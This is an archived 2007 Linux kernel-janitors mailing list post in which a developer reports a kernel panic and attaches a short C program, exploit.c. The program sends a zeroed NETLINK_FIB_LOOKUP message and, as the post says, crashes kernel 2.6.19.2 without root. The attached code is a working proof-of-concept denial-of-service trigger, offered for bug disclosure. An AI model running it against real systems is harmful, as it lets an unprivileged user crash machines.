From: Jaco Kroon <jaco@kroon.co.za>
To: kernel-janitors@vger.kernel.org
Subject: [KJ] netlink bug?
Date: Wed, 25 Apr 2007 14:41:44 +0000 [thread overview]
Message-ID: <462F68A8.5090803@kroon.co.za> (raw)
[-- Attachment #1: Type: text/plain, Size: 681 bytes --]
Hi guys,
I've got a piece of code that seems to reliably cause the kernel to
panic, looks like a problem somewhere down the netlink core...
I've been trying to use NETLINK_FIB_LOOKUP but so far the closest I've
come to success was a kernel crash, a slightly stripped down version of
the code that first crashed it attached. If somebody else can confirm
this it would be appreciated, also, any pointers on what I'm doing wrong
that triggers the behaviour to begin with would be appreciated, thanks.
I'm currently on kernel version 2.6.19.2, so this may have been fixed in
the meantime. Note that I don't need to run the code as root in order
to trigger the crash.
Jaco
[-- Attachment #2: exploit.c --]
[-- Type: text/x-csrc, Size: 1124 bytes --]
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <memory.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
/* stolen from kernel source ... could be a problem here ... */
struct fib_result_nl {
uint32_t fl_addr; /* To be looked up*/
uint32_t fl_fwmark;
unsigned char fl_tos;
unsigned char fl_scope;
unsigned char tb_id_in;
unsigned char tb_id; /* Results */
unsigned char prefixlen;
unsigned char nh_sel;
unsigned char type;
unsigned char scope;
int err;
};
struct msg {
struct nlmsghdr nh;
struct fib_result_nl frn;
};
int main()
{
struct msg msg;
struct sockaddr_nl sa;
int fd;
memset(&sa, 0, sizeof(sa));
sa.nl_family = AF_NETLINK;
sa.nl_pid = getpid();
assert((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_FIB_LOOKUP)) > 0);
assert(bind(fd, (struct sockaddr*)&sa, sizeof(sa)) == 0);
sa.nl_pid = 0;
memset(&msg, 0, sizeof(msg));
msg.nh.nlmsg_len = sizeof(msg);
msg.nh.nlmsg_flags = NLMSG_DONE;
assert(sendto(fd, &msg, sizeof(msg), 0, (void*)&sa, sizeof(sa)) > 0);
return 0;
}
[-- Attachment #3: Type: text/plain, Size: 187 bytes --]
_______________________________________________
Kernel-janitors mailing list
Kernel-janitors@lists.linux-foundation.org
https://lists.linux-foundation.org/mailman/listinfo/kernel-janitors
next reply other threads:[~2007-04-25 14:41 UTC|newest]
Thread overview: 3+ messages / expand[flat|nested] mbox.gz Atom feed top
2007-04-25 14:41 Jaco Kroon [this message]
2007-04-25 22:15 ` [KJ] netlink bug? Greg KH
2007-04-25 22:25 ` Jaco Kroon
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=462F68A8.5090803@kroon.co.za \
--to=jaco@kroon.co.za \
--cc=kernel-janitors@vger.kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.